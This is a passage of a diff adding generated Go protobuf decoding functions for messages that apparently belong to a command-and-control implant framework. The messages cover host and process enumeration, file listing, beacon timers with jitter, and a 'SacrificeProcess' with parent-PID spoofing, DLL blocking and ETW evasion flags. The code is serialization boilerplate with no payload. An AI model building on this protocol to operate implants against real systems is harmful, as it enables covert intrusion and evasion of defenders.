l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: NetstatResponse: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: NetstatResponse: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Socks", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Socks = append(m.Socks, &SockTabEntry{}) + if err := m.Socks[len(m.Socks)-1].UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *Block) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Block: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Block: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field BlockId", wireType) + } + m.BlockId = 0 + m.BlockId, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Content", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Content = append(m.Content[:0], dAtA[iNdEx:postIndex]...) + if m.Content == nil { + m.Content = []byte{} + } + iNdEx = postIndex + case 3: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field End", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.End = bool(v != 0) + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *ACK) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: ACK: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: ACK: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Id", wireType) + } + m.Id = 0 + m.Id, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 2: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Success", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.Success = bool(v != 0) + case 3: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field End", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.End = bool(v != 0) + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *Os) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Os: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Os: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Name = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Version", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Version = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Release", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Release = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Arch", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Arch = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 5: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Username", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Username = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 6: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Hostname", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Hostname = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 7: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Locale", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Locale = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 8: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field ClrVersion", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.ClrVersion = append(m.ClrVersion, string(dAtA[iNdEx:postIndex])) + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *Process) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Process: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Process: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Name = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Pid", wireType) + } + m.Pid = 0 + m.Pid, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 3: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Ppid", wireType) + } + m.Ppid = 0 + m.Ppid, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Owner", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Owner = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 5: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Arch", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Arch = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 6: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Path", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Path = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 7: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Args", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Args = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 8: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Uid", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Uid = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *Timer) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Timer: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Timer: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Expression", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Expression = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 1 { + return fmt.Errorf("proto: wrong wireType = %d for field Jitter", wireType) + } + var v uint64 + var _v64 uint64 + _v64, iNdEx, err = protobuf_go_lite.DecodeFixed64(dAtA, iNdEx) + if err != nil { + return err + } + v = uint64(_v64) + m.Jitter = float64(math.Float64frombits(v)) + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *FileInfo) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: FileInfo: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: FileInfo: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Name = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field IsDir", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.IsDir = bool(v != 0) + case 3: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Size", wireType) + } + m.Size = 0 + m.Size, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + case 4: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field ModTime", wireType) + } + m.ModTime = 0 + m.ModTime, iNdEx, err = protobuf_go_lite.DecodeVarintInt64(dAtA, iNdEx) + if err != nil { + return err + } + case 5: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Mode", wireType) + } + m.Mode = 0 + m.Mode, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 6: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Link", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Link = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *SacrificeProcess) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: SacrificeProcess: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: SacrificeProcess: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Hidden", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.Hidden = bool(v != 0) + case 2: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field BlockDll", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.BlockDll = bool(v != 0) + case 3: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Etw", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.Etw = bool(v != 0) + case 4: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Ppid", wireType) + } + m.Ppid = 0 + m.Ppid, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 5: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Argue", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Argue = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *LsResponse) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: LsResponse: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: LsResponse: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Path", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Path = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Exists", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.Exists = bool(v != 0) + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Files", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Files = append(m.Files, &FileInfo{}) + if err := m.Files[len(m.Files)-1].UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *DriveInfo) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: DriveInfo: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: DriveInfo: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Path", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Path = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field DriveType", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.DriveType = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 3: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field TotalSize", wireType) + } + m.TotalSize = 0 + m.TotalSize, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + case 4: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field FreeSize", wireType) + } + m.FreeSize = 0 + m.FreeSize, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + case 5: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field FileSystem", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.FileSystem = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *EnumDriversResponse) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: EnumDriversResponse: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: EnumDriversResponse: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Drives", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = 